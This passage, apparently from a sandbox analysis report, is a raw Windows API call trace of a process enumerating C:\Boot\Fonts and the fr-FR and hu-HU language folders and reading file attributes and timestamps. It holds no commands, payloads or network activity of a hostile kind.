nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0226.615] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0226.615] NtClose (Handle=0x170) returned 0x0 [0226.615] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0226.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0226.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0226.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0226.615] FindFirstFileExW (in: lpFileName="C:\\Boot\\Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0226.615] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.615] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0226.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.615] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.615] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3ca8 [0226.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af940 [0226.615] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.615] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0226.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3cc8 [0226.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af9c8 [0226.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.616] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0226.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3ce8 [0226.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4afa50 [0226.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.616] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0226.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3d08 [0226.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4afad8 [0226.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.616] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 1 [0226.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3d28 [0226.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4afb60 [0226.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.617] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 0 [0226.617] GetLastError () returned 0x12 [0226.617] FindFirstFileExW (in: lpFileName="C:\\Boot\\Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0226.617] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0226.617] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.617] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0226.617] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0226.617] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0226.617] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0226.617] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 1 [0226.617] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 0 [0226.617] GetLastError () returned 0x12 [0226.617] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0226.617] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0226.617] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0226.617] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0226.617] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0226.617] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0226.617] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR" (normalized: "c:\\boot\\fr-fr"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0226.647] CreateFileW (lpFileName="C:\\Boot\\fr-FR" (normalized: "c:\\boot\\fr-fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0226.647] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0226.647] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0226.647] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0226.647] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0226.647] NtClose (Handle=0x1ac) returned 0x0 [0226.647] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0226.647] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0226.647] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0226.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0226.648] FindFirstFileExW (in: lpFileName="C:\\Boot\\fr-FR\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0226.648] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.648] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0226.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.648] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.648] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3d48 [0226.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4afbe8 [0226.648] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.648] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0226.648] GetLastError () returned 0x12 [0226.648] FindFirstFileExW (in: lpFileName="C:\\Boot\\fr-FR\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0226.648] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0226.648] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.648] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0226.648] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0226.648] GetLastError () returned 0x12 [0226.648] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0226.648] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0226.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0226.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0226.649] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0226.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0226.649] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU" (normalized: "c:\\boot\\hu-hu"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0226.649] CreateFileW (lpFileName="C:\\Boot\\hu-HU" (normalized: "c:\\boot\\hu-hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0226.649] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0226.667] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0226.667] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0226.667] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0226.667] NtClose (Handle=0x170) returned 0x0 [0226.668] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0226.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0226.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0226.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0226.668] FindFirstFileExW (in: lpFileName="C:\\Boot\\hu-HU\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0226.668] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.668] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0226.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.668] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.668] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3d68 [0226.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4afc70 [0226.668] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.668] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, 